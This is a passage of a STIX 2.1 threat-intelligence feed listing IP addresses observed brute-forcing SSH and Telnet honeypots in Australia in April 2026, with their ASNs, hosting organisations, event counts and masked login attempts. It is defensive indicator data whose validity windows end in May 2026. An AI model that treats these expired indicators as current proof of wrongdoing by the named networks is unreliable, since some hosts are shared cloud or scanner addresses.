      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 395793. Organisation(s): Arisk Communications inc.. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--16609616-a6f8-48b2-9bdf-3eb5728ca62e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T11:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '82.24.64.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T11:15:05.000Z",
      "valid_until": "2026-05-17T11:15:02.000Z"
    },
    {
      "created": "2026-04-15T12:17:41.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--fbb24561-6876-44b0-aeb0-71204548d72b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T12:17:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.49.30.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T12:17:41.000Z",
      "valid_until": "2026-05-17T12:15:02.000Z"
    },
    {
      "created": "2026-04-15T12:17:41.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--95eb8687-3d2c-42c1-8eb2-419642b07522",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T12:17:41.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T12:17:41.000Z",
      "valid_until": "2026-05-17T12:15:02.000Z"
    },
    {
      "created": "2026-04-15T13:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 147185. Organisation(s): INFYNIX DATA SERVICES PRIVATE LIMITED.",
      "id": "indicator--3e1856ee-7e1c-4e54-a005-68730cce884d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.42.74.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T13:15:09.000Z",
      "valid_until": "2026-05-17T13:15:02.000Z"
    },
    {
      "created": "2026-04-15T13:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b2a98c59-323e-47f2-a3bc-f7d8f3eb6806",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.254.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T13:15:09.000Z",
      "valid_until": "2026-05-17T13:15:02.000Z"
    },
    {
      "created": "2026-04-15T13:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4, f****e, s***m, u****u. Passwords observed (masked): 1*******t, 3***********4, 3**********4, 4******V, 8****2.",
      "id": "indicator--b60cd0b4-ac04-4c07-820a-5ded2fb274dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.91.48.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T13:15:09.000Z",
      "valid_until": "2026-05-17T13:15:02.000Z"
    },
    {
      "created": "2026-04-15T13:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, u****u, 3**********4, c****e, m****s. Passwords observed (masked): 3***********4, 3**********4, 1***1, 3******v, L******!.",
      "id": "indicator--a9a7c1ac-f5e2-49aa-a0ab-ae57dde21fca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.193.130.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T13:15:09.000Z",
      "valid_until": "2026-05-17T13:15:02.000Z"
    },
    {
      "created": "2026-04-15T13:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, u****u, 3**********4, f**p, m***n. Passwords observed (masked): 1**4, 3***********4, 3**********4, 3******v, L******!.",
      "id": "indicator--591b6dfe-b386-4240-9408-9d15846d9ecf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.176.16.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T13:15:09.000Z",
      "valid_until": "2026-05-17T13:15:02.000Z"
    },
    {
      "created": "2026-04-15T13:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--258afba3-0c84-467b-9bf4-8ff64fc79704",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T13:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.53.89.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T13:15:09.000Z",
      "valid_until": "2026-05-17T13:15:02.000Z"
    },
    {
      "created": "2026-04-15T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--510d13ce-f45c-46ac-90c7-f47368e759e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T14:15:10.000Z",
      "valid_until": "2026-05-17T14:15:02.000Z"
    },
    {
      "created": "2026-04-15T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401701. Organisation(s): cognetcloud INC. Usernames observed (masked): r**t, s****r, 3**********4, d****y, f****e. Passwords observed (masked): ***, 1******x, 3***********4, 3**********4, Q******4.",
      "id": "indicator--8c79254c-2bd9-4679-a67d-af51383ddbd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.207.221.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T14:15:10.000Z",
      "valid_until": "2026-05-17T14:15:02.000Z"
    },
    {
      "created": "2026-04-15T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--1fc3ef84-d999-4f50-a097-44156bb9c165",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '73.155.235.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T14:15:10.000Z",
      "valid_until": "2026-05-17T14:15:02.000Z"
    },
    {
      "created": "2026-04-15T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T15:15:03.000Z",
      "valid_until": "2026-05-17T15:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, T*******2, h******!, r********6.",
      "id": "indicator--1296a603-6fd3-4e96-a156-04a07dbb3d4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.94.57.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, u****u, 3**********4, a***n, ***. Passwords observed (masked): 1******X, 3***********4, 3**********4, A*****6, A******F.",
      "id": "indicator--41c418c2-cac4-4ac4-ad86-d11ba3f18d39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.106.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company. Usernames observed (masked): r**t, 3**********4, o**o, u****u. Passwords observed (masked): 1**4, 1******f, 3***********4, 3**********4, A*******@.",
      "id": "indicator--7404a6d4-0e23-444e-95c1-b8bec370e74b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.146.23.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 134. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, u**r, ***, i*******r. Passwords observed (masked): 1**4, 1***5, p******d, 1****6, *.",
      "id": "indicator--d3fe0d0b-f9a0-4dc7-ab73-37f728f7b9ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.170.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 97. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, s*****t, 1**4, c****g. Passwords observed (masked): a***n, 0**************D, 1**4, O************Z, a*********p.",
      "id": "indicator--faedfb86-6f9f-4cd6-80a3-b2142bc1ede9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.231.198.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 189. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): r**t, 3**********4, n********r, f******2. Passwords observed (masked): 3***********4, 3**********4, 1****6, A*******., A*********6.",
      "id": "indicator--8d869beb-a45b-45bc-9e24-6fc64d8b135f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.253.156.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 31724. Organisation(s): Svyazist LLC.",
      "id": "indicator--6d2aaa58-f6ea-47f5-ab6a-a192b3960c20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.8.202.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PL. ASN(s): 31242. Organisation(s): Play. Usernames observed (masked): 3**********4, f******2, n********r, r**t, t****2. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1******%.",
      "id": "indicator--406bfb45-56ef-4fc0-b974-c5f5a0b0938e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.106.245.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--256bffd8-3fb7-4009-bedc-d6124af85816",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7489. Organisation(s): HostUS. Usernames observed (masked): r**t, n********r, 3**********4, s***m, u****u. Passwords observed (masked): 1********., 1****6, 1********c, 1******%, 3***********4.",
      "id": "indicator--f1e240a6-d26f-4326-801d-36af15a832cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.189.157.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 402. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, 1****6, ***, **. Passwords observed (masked): 1****6, 1******8, P******d, *, 1****1.",
      "id": "indicator--847e18cf-6c7b-4b85-91ae-7c1ebfae62b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.4.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 425. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, *****, a****n. Passwords observed (masked): 1****6, a***n, a****3, p******d, *****.",
      "id": "indicator--e5915365-dcbb-4276-b1a1-42559a1b87d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.7.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): G************1, U**********************************************************************************************0. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--38ec0345-51da-4144-9816-545b366fb01a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T16:15:03.000Z",
      "valid_until": "2026-05-17T16:15:01.000Z"
    },
    {
      "created": "2026-04-15T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***.",
      "id": "indicator--51cf847f-3090-4da7-932c-c24be6732455",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.102.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T17:15:04.000Z",
      "valid_until": "2026-05-17T17:15:01.000Z"
    },
    {
      "created": "2026-04-15T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d6553bcd-d6d1-43ef-8054-f96b528a72b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T17:15:04.000Z",
      "valid_until": "2026-05-17T17:15:01.000Z"
    },
    {
      "created": "2026-04-15T18:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--124aaaeb-f8ca-42c7-902f-7a3bd227665c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T18:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.237.125.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T18:15:33.000Z",
      "valid_until": "2026-05-17T18:15:01.000Z"
    },
    {
      "created": "2026-04-15T18:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c3e23f84-fd3f-4231-a28d-24f7434a0eea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T18:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '48.214.144.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T18:15:33.000Z",
      "valid_until": "2026-05-17T18:15:01.000Z"
    },
    {
      "created": "2026-04-15T18:15:33.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b32bea8e-21ae-41c8-b964-85738f2251a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T18:15:33.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T18:15:33.000Z",
      "valid_until": "2026-05-17T18:15:01.000Z"
    },
    {
      "created": "2026-04-15T19:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MO. ASN(s): 4609. Organisation(s): Companhia de Telecomunicacoes de Macau SARL.",
      "id": "indicator--f9116097-2dac-40aa-9aeb-d358419e4b5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T19:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.246.136.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T19:15:04.000Z",
      "valid_until": "2026-05-17T19:15:01.000Z"
    },
    {
      "created": "2026-04-15T20:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--c3ccd725-db9a-431d-816c-fc0ea54a639b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.213.196.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T20:15:04.000Z",
      "valid_until": "2026-05-17T20:15:02.000Z"
    },
    {
      "created": "2026-04-15T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d04fe5e4-7383-4804-8ea9-1c100aea6c82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.56.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T20:15:04.000Z",
      "valid_until": "2026-05-17T20:15:02.000Z"
    },
    {
      "created": "2026-04-15T20:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 7602. Organisation(s): Sai gon Postel Corporation.",
